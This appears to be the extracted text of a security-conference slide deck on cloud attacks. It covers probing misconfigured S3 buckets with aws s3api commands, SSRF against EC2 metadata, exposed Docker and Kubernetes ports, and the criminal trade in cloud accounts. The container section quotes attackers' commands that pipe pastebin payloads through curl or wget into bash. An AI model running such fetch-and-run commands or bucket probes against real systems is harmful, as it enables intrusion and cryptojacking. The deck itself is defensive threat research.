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WHOAMI

• A security researcher with Trend Micro Taiwan

• 2005(?) my first HITB

• Говорю по русски

• �����J

• Also a Doctor J

⨏☤☈
Forward-looking Threat Research
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Agenda: “Cloud War Stories”

• cloud platforms into

• in-the wild attacks on 
cloud

• “cloud” underground

• The most adaptive user 
of cloud technologies 
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Cloud

• So what is cloud? Technically 
it is just a computing 
platform that someone else 
is managing for you :-D
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Cloud is complex
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Prominent 
“somebody 

else”’s computers
..
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And then… 

• There is also dropbox, {telecom}cloud(s), Alibaba 
cloud and all sorts of other clouds
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Implications (in a nutshell)

• Complex systems

• Cloud common in 
enterprises: and attackers

• DevOps culture ->
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Data Access on Cloud
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via The Register, 22 Feb 2018

Originally: Troy Mursch/Bad Packets

16

“… website has been
silently mining crypto-
coins using visitors’ 
web browsers …”

https://homicide.latimes.com
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https://homicide.latimes.com

curl -v https://homicide.latimes.com
…
< via: 1.1 varnish-v4, 1.1 a8d866886b5d25a5cfcb0df362279f88.cloudfront.net 
(CloudFront)
…

s3://??????.s3.amazonaws.com

Question: What is the AWS 
bucket?

18

AWS Cloudfront!
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aws s3api …

FQDN Candidate bucket names AWS Test Bucket name

www.example.com

www.example.com

www-example-com

www.example.com-prod

www.example.com-aws

bucket-www.example.com

…

www.example.com-aws

Guess the bucket: Trail and error!

19

Tutorials offen suggest bucket names that fit this pattern
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https://2019.elbsides.de

s3://2019.elbsides.de

$ aws s3api get-bucket-acl --bucket 2019.elbsides.de
An error occurred (AccessDenied) when calling the GetBucketAcl operation: Access Denied

20

http://2019.elbsides.de
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$ aws s3api get-bucket-acl --bucket ##########
{

"Owner": {
"DisplayName": “…”,
"ID": “…”

},
"Grants": [

{
"Grantee": {

"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"

},
"Permission": "FULL_CONTROL"

}
]

}

21

We don’t want to see:
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Are there any critical sites on S3?
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5.6k buckets found

4.4k buckets accessible

79 readable

40 writable

23
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5.6k buckets found

4.4k buckets accessible

79 readable

40 writable

24
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aws s3 ls s3://#########
PRE ORxYUSMSRf.jsp/
PRE WEzXTtAEBU.jsp/
PRE cs-csv/
PRE css/
PRE diZPqEAuJM.jsp/
PRE guide/
PRE hqmail/
PRE images/
PRE img/
PRE js/
PRE json/
PRE mail/
PRE material/
PRE point/
PRE promotion_mail/
PRE report/
PRE tmp/
PRE tomorrow_mail/
PRE xml/

2018-06-13 18:03:43        199 
208b605c01bc1fd2b9ad92a96f77a169a84643cdeb82a9e64204e23f501afa17371012ec4c2928fda5477f19eaecf9ff449e2accaef00c2d842
bf9654e48a232.txt
2019-06-13 07:36:56       1742 404.html
2018-01-15 02:02:43        162 BugDisclosure.txt
2017-12-05 15:34:22        226 poc.txt
2018-09-12 19:17:58         91 rdttk78549.txt
2018-01-26 01:06:18         54 t.txt
2017-06-07 18:29:44         27 test.txt
2018-07-19 17:20:08        365 testupload.txt25
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https://homicide.latimes.com

BugDisclosure.txt was dropped on the site It was ignored

With bucket logging, this would have been seen

Monero miner on Coinhive platform

latimes-graphics-media

http://latimes-graphics-media.s3.amazonaws.com/js/leaflet.fullscreen-
master/Control.FullScreen.js

26
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Static website hosting on AWS S3

Great idea!

But check your permissions!

Log bucket accesses and 
monitor them

27
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Writable buckets lead to data exfil
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Other things are also possible, of course J
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A variation: Reflection attacks

• Your EC2 instances can be assigned roles when 
they are created. Roles have Privileges J

• Reflection attacks could lead to trust-relationship
exploitation (i.e. via SSRF)
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Why did this work? A magic link-local address

• https://docs.aws.amazon.com/AWSEC2/latest/Us
erGuide/instancedata-data-retrieval.html

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
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Other “hints”: good luck ;-)
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Mitigation
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Hacking cloud with google dorks
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Finding “moving fast” devops J
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Google dorks
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Kubeconfig, another dork J
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Root cause ?Bad tutorials
lead to bad practices
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Bad tutorials reinforce bad practices

• Creds end up everywhere: virustotal, github, 
pastebin. Many hunters
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Credentials like a litter everywhere
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Code Execution on Cloud
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Containers
Linux CGROUPS + Kernel Namespaces

image
Base OS

Dependencies

Container server
44

Application
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KubernetesDocker and 
DockerHub

Elastic Container 
Service

Elastic 
Kubernetes 

Service

Fargate

Apache 
Mesos

45
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4k / one 
month

45 verifiably 
exposed

47



Copyright 2019 Trend Micro Inc.48 TLP:GREEN

$ docker -H docker-host-fqdn ps
CONTAINER ID        IMAGE                                                 COMMAND                  CREATED 

dea5e5131e1b        opencti/connector-mitre:1.1.2                         "/entrypoint.sh"         3 weeks ago         

fb64c9df4e6f        opencti/worker:1.1.2                                  "/entrypoint.sh"         3 weeks ago         

0868c5614cc0        opencti/worker:1.1.2                                  "/entrypoint.sh"         3 weeks ago         

f6e78c6bc72e        opencti/worker:1.1.2                                  "/entrypoint.sh"         3 weeks ago         

7b1f76e19681        opencti/worker:1.1.2                                  "/entrypoint.sh"         3 weeks ago         

97fef724db62        opencti/worker:1.1.2                                  "/entrypoint.sh"         3 weeks ago         

6f2dfc738353        opencti/worker:1.1.2                                  "/entrypoint.sh"         3 weeks ago         

25dd39a655d4        opencti/connector-opencti:1.1.2                       "/entrypoint.sh"         3 weeks ago         

3bf9299547d8        opencti/platform:1.1.2                                "/entrypoint.sh"         3 weeks ago         

e59a906af147        rabbitmq:3.7.17-management                            "docker-entrypoint.s…"   3 weeks ago         

4bf506f43eea        docker.elastic.co/elasticsearch/elasticsearch:7.3.0   "/usr/local/bin/dock…"   3 weeks ago         

e713f50d3d7b        graknlabs/grakn:1.5.8                                 "./grakn-docker.sh"      3 weeks ago         

b64a11545130        redis:5.0.5                                           "docker-entrypoint.s…"   3 weeks ago         

48
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bananajamma/xmrig
bitnn/alpine-xmrig
kannix/monero-miner

Named container 
infections

“XMRig is a high performance RandomX and CryptoNight CPU miner, 
with official support for Windows.”

Cryptominer infections

https://github.com/xmrig/xmrig

Also unnamed containers
49
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Or from scratch

Docker image: bmoussaud/ubuntu-wget

sh -c 'wget -O- https://pastebin.com/raw/NzMFK1jA | bash’

nohup bash -c '(curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- https://pastebin.com/raw/aGTSGJJp)|bash' >/dev/null 2>

(curl -fsSL https://pastebin.com/raw/nMrfmnRa || wget -q -O- https://pastebin.com/raw/nMrfmnRay) | base64 

Criminal DevOps!
50
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#1) I only Wanna Mine.
#2) I don’t want your data, or anything or even a ransom.
#3) Please if you find this code, don’t post about it.
#4) lets talk Jeff4r190@tutanota,com

51
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Docker server 
‘infected’ with a 
crypto miner

CPU utilization > 
threshold

Autoscaling kicks 
in

A new Docker 
server is created

52

+$2
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Why? J
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Kubernetes

54
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Kubernetes API 
requires client 
certificate by default

56
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So, Kubernetes is secure, right?

57

Unfortunately, client security is not enough
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10255 10250

read-only http port https control port

58
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1800 
exposed
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Port 
10255

60
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2400 
exposed
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Leaky etcd

64
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Certs in 
etcd

65
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Cloud Masquerade
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Masquerade..

• Does traffic to these machines look suspicious?
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Exfiltration
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Clouds - widely adopted by cybercriminals
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Badness breakdown by ASN
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Cloud in Underground
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Free Google Cloud instances
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Sale of cloud instances
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Credentials trade

I sell AWS Amazon accounts, sale in one hand.
For those who are in the tank, I will say at once - these are 
NOT the accounts of the Amazon shop.
If you do not know what it is and what it is eaten with, then you 
do not need it.

Accounts are sold with raised EC2 limits - 10.20; SES - 50k.
The price tag depends on the number and terms in which it is 
necessary to meet
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“other” clouds

cryptopromo.kissr.com
ethgive.kissr.com
ether_promo.kissr.com
check-ethpayments1.kissr.com
ethereum-giveaway.kissr.com
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And the last note.. 
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a blackhat’s True Cloud
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Questions?
@fygrave or 

Fyodor_yarochkin@
trendmicro.com


